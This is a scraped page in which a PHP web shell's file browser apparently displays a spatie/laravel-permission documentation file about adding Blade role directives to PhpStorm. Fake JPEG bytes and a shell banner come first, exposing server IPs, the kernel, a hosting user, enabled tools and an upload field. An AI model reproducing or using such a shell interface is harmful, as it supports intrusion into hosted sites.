����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.144.176.149 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/./gltevjme/cbt.bofirm.com/vendor/spatie/laravel-permission/docs/advanced-usage/ |
Upload File : |
--- title: Extending PhpStorm weight: 7 --- # Extending PhpStorm to support Blade Directives of this package 1. In PhpStorm, open Preferences, and navigate to **Languages and Frameworks -> PHP -> Blade** (File | Settings | Languages & Frameworks | PHP | Blade) 2. Uncheck "Use default settings", then click on the `Directives` tab. 3. Add the following new directives for the laravel-permission package: **role** - has parameter = YES - Prefix: `<?php if(auth()->check() && auth()->user()->hasRole(` - Suffix: `)); ?>` -- **endrole** - has parameter = NO - Prefix: blank - Suffix: blank -- **hasrole** - has parameter = YES - Prefix: `<?php if(auth()->check() && auth()->user()->hasRole(` - Suffix: `)); ?>` -- **endhasrole** - has parameter = NO - Prefix: blank - Suffix: blank -- **hasanyrole** - has parameter = YES - Prefix: `<?php if(auth()->check() && auth()->user()->hasAnyRole(` - Suffix: `)); ?>` -- **endhasanyrole** - has parameter = NO - Prefix: blank - Suffix: blank -- **hasallroles** - has parameter = YES - Prefix: `<?php if(auth()->check() && auth()->user()->hasAllRoles(` - Suffix: `)); ?>` -- **endhasallroles** - has parameter = NO - Prefix: blank - Suffix: blank -- **unlessrole** - has parameter = YES - Prefix: `<?php if(auth()->check() && !auth()->user()->hasRole(` - Suffix: `)); ?>` -- **endunlessrole** - has parameter = NO - Prefix: blank - Suffix: blank --